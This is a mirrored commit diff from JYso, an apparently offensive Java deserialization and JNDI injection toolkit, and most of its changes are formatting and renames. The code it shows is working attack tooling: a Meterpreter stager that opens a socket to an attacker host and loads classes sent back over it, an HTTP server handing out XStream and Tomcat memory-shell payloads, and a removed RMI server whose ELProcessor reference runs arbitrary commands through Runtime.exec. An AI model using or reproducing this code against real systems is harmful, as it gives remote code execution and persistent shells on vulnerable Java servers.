archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-26 00:31:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: 修复JNDI模块多个告

Browse Source 
警
This commit is contained in:
qi4l
2026-03-26 14:40:12 +08:00
parent e3cdf5148c
commit 3411d085a7
221 changed files with 2002 additions and 2955 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/Meterpreter.java
+14 -14
View File
@@ -11,9 +11,9 @@ import java.util.HashMap;
public class Meterpreter public class Meterpreter
extends ClassLoader extends ClassLoader
implements Runnable { implements Runnable {
static /* synthetic */ Class class$0; static /* synthetic */ Class class$0;
static /* synthetic */ Class class$1; static /* synthetic */ Class class$1;
static /* synthetic */ Class class$2; static /* synthetic */ Class class$2;
static { static {
@@ -22,8 +22,8 @@ public class Meterpreter
meterpreter.run(); meterpreter.run();
} }
public String host; public String host;
public String port; public String port;
private HashMap parameterMap; private HashMap parameterMap;
public static void main(String[] args) { public static void main(String[] args) {
@@ -60,11 +60,11 @@ public class Meterpreter
} }
public void getShell() throws Exception { public void getShell() throws Exception {
InputStream inputStream1 = null; InputStream inputStream1 = null;
OutputStream outputStream = null; OutputStream outputStream = null;
int j = new Integer(this.port); int j = new Integer(this.port);
String str4 = this.host; String str4 = this.host;
Socket socket = null; Socket socket = null;
if (str4 != null) { if (str4 != null) {
socket = new Socket(str4, j); socket = new Socket(str4, j);
} }
@@ -75,18 +75,18 @@ public class Meterpreter
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
try { try {
Class<?> clazz; Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream); DataInputStream dataInputStream = new DataInputStream(paramInputStream);
int i = dataInputStream.readInt(); int i = dataInputStream.readInt();
do { do {
byte[] arrayOfByte = new byte[i]; byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte); dataInputStream.readFully(arrayOfByte);
clazz = this.defineClass(null, arrayOfByte, 0, i); clazz = this.defineClass(null, arrayOfByte, 0, i);
this.resolveClass(clazz); this.resolveClass(clazz);
} while ((i = dataInputStream.readInt()) > 0); } while ((i = dataInputStream.readInt()) > 0);
Object object = clazz.newInstance(); Object object = clazz.newInstance();
Class[] classArray = new Class[3]; Class[] classArray = new Class[3];
Class<?> clazz2 = class$0; Class<?> clazz2 = class$0;
if (clazz2 == null) { if (clazz2 == null) {
try { try {
clazz2 = class$0 = Class.forName("java.io.DataInputStream"); clazz2 = class$0 = Class.forName("java.io.DataInputStream");
src/main/java/com/qi4l/JYso/HTTPServer.java
+35 -36
View File
@@ -3,7 +3,7 @@ package com.qi4l.JYso;
import cn.hutool.core.io.file.FileReader; import cn.hutool.core.io.file.FileReader;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Cache; import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.template.CommandTemplate; import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.DnslogTemplate; import com.qi4l.JYso.template.DnslogTemplate;
import com.qi4l.JYso.template.ReverseShellTemplate; import com.qi4l.JYso.template.ReverseShellTemplate;
@@ -20,7 +20,6 @@ import java.io.FileInputStream;
import java.io.IOException; import java.io.IOException;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.jar.JarOutputStream; import java.util.jar.JarOutputStream;
@@ -87,11 +86,11 @@ public class HTTPServer {
private static void handleFileRequest(HttpExchange exchange) throws Exception { private static void handleFileRequest(HttpExchange exchange) throws Exception {
System.out.println("[-] 请求的后缀不对"); System.out.println("[-] 请求的后缀不对");
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename); File file = new File(filename);
if (file.exists()) { if (file.exists()) {
byte[] bytes = new byte[(int) file.length()]; byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file); FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes); fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1); exchange.sendResponseHeaders(200, file.length() + 1);
@@ -122,8 +121,8 @@ public class HTTPServer {
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
// exchange.getResponseBody().write(yaml.getObject("UTF-8")); // exchange.getResponseBody().write(yaml.getObject("UTF-8"));
} else { } else {
String pa = cwd + File.separator + "data"; String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml"); File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) { if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()]; byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) { try (FileInputStream fileInputStream = new FileInputStream(file)) {
@@ -142,7 +141,7 @@ public class HTTPServer {
} }
public static void handleTXTRequest(HttpExchange exchange) throws IOException { public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")) { if (txtname.equalsIgnoreCase("isok")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
@@ -151,8 +150,8 @@ public class HTTPServer {
exchange.sendResponseHeaders(200, bytes.length + 1); exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes); exchange.getResponseBody().write(bytes);
} else { } else {
String pa = cwd + File.separator + "data"; String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt"); File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) { if (file.exists()) {
@@ -175,7 +174,7 @@ public class HTTPServer {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost(); // String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>"; String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
String xstream = "<linked-hash-set>\n" + String xstream = "<linked-hash-set>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" + " <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" + " <flags>0</flags>\n" +
@@ -284,8 +283,8 @@ public class HTTPServer {
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
} else { } else {
String pa = cwd + File.separator + "data"; String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml"); File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) { if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()]; byte[] bytes1 = new byte[(int) file.length()];
@@ -307,8 +306,8 @@ public class HTTPServer {
} }
public static void handleSQLRequest(HttpExchange exchange) throws IOException { public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost(); String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (sqlName.equalsIgnoreCase("echo")) { if (sqlName.equalsIgnoreCase("echo")) {
@@ -332,8 +331,8 @@ public class HTTPServer {
} else { } else {
String pa = cwd + File.separator + "data"; String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql"); File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) { if (file.exists()) {
byte[] bytes = new byte[(int) file.length()]; byte[] bytes = new byte[(int) file.length()];
@@ -352,9 +351,9 @@ public class HTTPServer {
} }
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost(); String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho"; String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (groovyName.equalsIgnoreCase("groovyecho")) { if (groovyName.equalsIgnoreCase("groovyecho")) {
@@ -372,8 +371,8 @@ public class HTTPServer {
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else { } else {
String pa = cwd + File.separator + "data"; String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy"); File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) { if (file.exists()) {
byte[] bytes = new byte[(int) file.length()]; byte[] bytes = new byte[(int) file.length()];
@@ -395,8 +394,8 @@ public class HTTPServer {
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true); Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true); String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
exchange.sendResponseHeaders(200, 0); exchange.sendResponseHeaders(200, 0);
@@ -404,12 +403,12 @@ public class HTTPServer {
} }
private static void handleJarRequest(HttpExchange exchange) throws IOException { private static void handleJarRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")) { if (jarName.equalsIgnoreCase("behinder3")) {
byte[] bytes; byte[] bytes;
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename, "UTF-8"); FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes(); bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1); exchange.sendResponseHeaders(200, bytes.length + 1);
@@ -417,9 +416,9 @@ public class HTTPServer {
} else { } else {
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
File file = new File(filename); File file = new File(filename);
if (file.exists()) { if (file.exists()) {
byte[] bytes; byte[] bytes;
FileReader fileReader = new FileReader(filename, "UTF-8"); FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes(); bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1); exchange.sendResponseHeaders(200, bytes.length + 1);
@@ -436,7 +435,7 @@ public class HTTPServer {
} }
private static void handleClassRequest(HttpExchange exchange) throws IOException { private static void handleClassRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath(); String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) { if (Cache.contains(className)) {
@@ -446,8 +445,8 @@ public class HTTPServer {
exchange.sendResponseHeaders(200, bytes.length); exchange.sendResponseHeaders(200, bytes.length);
exchange.getResponseBody().write(bytes); exchange.getResponseBody().write(bytes);
} else { } else {
String pa = cwd + path; String pa = cwd + path;
File file = new File(pa); File file = new File(pa);
if (file.exists()) { if (file.exists()) {
byte[] bytes = new byte[(int) file.length()]; byte[] bytes = new byte[(int) file.length()];
@@ -469,7 +468,7 @@ public class HTTPServer {
} }
private static void handleWSDLRequest(HttpExchange exchange) throws Exception { private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery(); String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query); Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1); String path = exchange.getRequestURI().getPath().substring(1);
@@ -591,15 +590,15 @@ public class HTTPServer {
} }
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
ByteArrayOutputStream bout = new ByteArrayOutputStream(); ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout); JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class")); jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes); jarOut.write(bytes);
jarOut.closeEntry(); jarOut.closeEntry();
jarOut.close(); jarOut.close();
bout.close(); bout.close();
String jarName = Util.getRandomString(); String jarName = Utils.getRandomString();
Cache.set(jarName, bout.toByteArray()); Cache.set(jarName, bout.toByteArray());
return jarName; return jarName;
src/main/java/com/qi4l/JYso/LdapServer.java
+4 -4
View File
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController; import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping; import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.AESUtils; import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
@@ -36,9 +36,9 @@ public class LdapServer extends InMemoryOperationInterceptor {
//instantiate them and store in the routes map //instantiate them and store in the routes map
for (Class<?> controller : controllers) { for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor(); Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance(); LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) { for (String mapping : mappings) {
if (mapping.startsWith("/")) { if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash mapping = mapping.substring(1); //remove first forward slash
@@ -86,7 +86,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
try { try {
if (!AESkey.equals("123")) { if (!AESkey.equals("123")) {
base = base64Decode(base); base = base64Decode(base);
base = AESUtils.decrypt(base, AESkey); base = JNDIUtils.decrypt(base, AESkey);
} }
} catch (Exception AESerr) { } catch (Exception AESerr) {
src/main/java/com/qi4l/JYso/RMIServer.java
-323
View File
@@ -1,323 +0,0 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
/**
* Generic JRMP listener
* <p>
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
* <p>
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
private final ServerSocket ss;
private final Object waitLock = new Object();
private final URL classpathUrl;
private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
}
public static void start() {
String url = "http://" + ip + ":" + rmiPort;
try {
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "..."));
RMIServer c = new RMIServer(rmiPort, new URL(url));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
public static ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
command
)));
return ref;
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
@Override
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
//System.err.println("[+] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
//System.err.println("[+] RMI服务器 >> 正在读取信息");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(" RMI 服务器 >> 无法识别：" + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
}
throw new IOException(" RMI 服务器 >> 无法读取 Object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
}
if (read.hashCode() == 2) {
// DGC
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (handleRMI(ois, out)) {
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
}
}
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if (method != 2) { // lookup
return false;
}
String object = (String) ois.readObject();
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
out.writeByte(TransportConstants.Return); // transport op
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//反射调用的类名
ReferenceWrapper rw = null;
if (object.startsWith("ELProcessor")) {
ResourceRef result = ELProcessor.refTomcatBypass(object);
rw = new ReferenceWrapper(result);
} else if (object.startsWith("basic")) {
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reference result = Basic.basic(object);
Reflections.setFieldValue(rw, "wrappee", result);
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
src/main/java/com/qi4l/JYso/Starter.java
+5 -7
View File
@@ -10,15 +10,15 @@ import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter { public class Starter {
// 用于存储所有的ObjectPayload类 // 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
public static boolean JYsoMode = false;
static { static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) { for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
} }
} }
public static boolean JYsoMode = false;
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
// 如果参数中包含-j，则启动LDAP、HTTP、RMI服务 // 如果参数中包含-j，则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) { if (args.length > 0 && args[0].equals("-j")) {
@@ -28,12 +28,10 @@ public class Starter {
HTTPServer.start(); HTTPServer.start();
if (Config.TLSProxy) { if (Config.TLSProxy) {
TLSProxy.start(); TLSProxy.start();
} else {
//RMIServer.start();
} }
} }
// 如果参数中包含-y，则启动 ysuserial // 如果参数中包含-y，则启动 ysu serial
if (args.length > 0 && args[0].equals("-y")) { if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true; JYsoMode = true;
ysoserial(args); ysoserial(args);
src/main/java/com/qi4l/JYso/TLSProxy.java
+5 -5
View File
@@ -31,7 +31,7 @@ public class TLSProxy {
public static void start() { public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "...")); System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile,Config.keyPass).run(); new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyPass).run();
} }
public void run() { public void run() {
@@ -61,9 +61,9 @@ public class TLSProxy {
private SSLServerSocketFactory createSSLServerSocketFactory() { private SSLServerSocketFactory createSSLServerSocketFactory() {
try { try {
SSLContext sslContext = SSLContext.getInstance("TLS"); SSLContext sslContext = SSLContext.getInstance("TLS");
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
KeyStore keyStore = KeyStore.getInstance("JKS"); KeyStore keyStore = KeyStore.getInstance("JKS");
try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) { try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) {
keyStore.load(keyInput, keyPass.toCharArray()); keyStore.load(keyInput, keyPass.toCharArray());
@@ -80,7 +80,7 @@ public class TLSProxy {
private void handleConnection(SSLSocket clientSocket) { private void handleConnection(SSLSocket clientSocket) {
String[] remoteAddressParts = remoteAddr.split(":"); String[] remoteAddressParts = remoteAddr.split(":");
Socket remoteSocket = null; Socket remoteSocket = null;
try { try {
// 修复：使用 remoteAddr 而不是 localAddr // 修复：使用 remoteAddr 而不是 localAddr
@@ -138,7 +138,7 @@ public class TLSProxy {
private void forwardData(InputStream input, OutputStream output) throws IOException { private void forwardData(InputStream input, OutputStream output) throws IOException {
byte[] buffer = new byte[8192]; byte[] buffer = new byte[8192];
int bytesRead; int bytesRead;
try { try {
while ((bytesRead = input.read(buffer)) != -1) { while ((bytesRead = input.read(buffer)) != -1) {
src/main/java/com/qi4l/JYso/controllers/BasicController.java
+31 -24
View File
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell; import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate; import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter; import com.qi4l.JYso.template.echoStatic.Meterpreter;
@@ -14,6 +14,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
@@ -25,6 +27,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"}) @LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController { public class BasicController implements LdapController {
private static final Logger log = LoggerFactory.getLogger(BasicController.class);
private static String payloadType; private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。 // 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase; private final String codebase = Config.codeBase;
@@ -32,6 +35,24 @@ public class BasicController implements LdapController {
private String[] params = new String[0]; private String[] params = new String[0];
private GadgetType gadgetType; private GadgetType gadgetType;
static String getStringQ(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
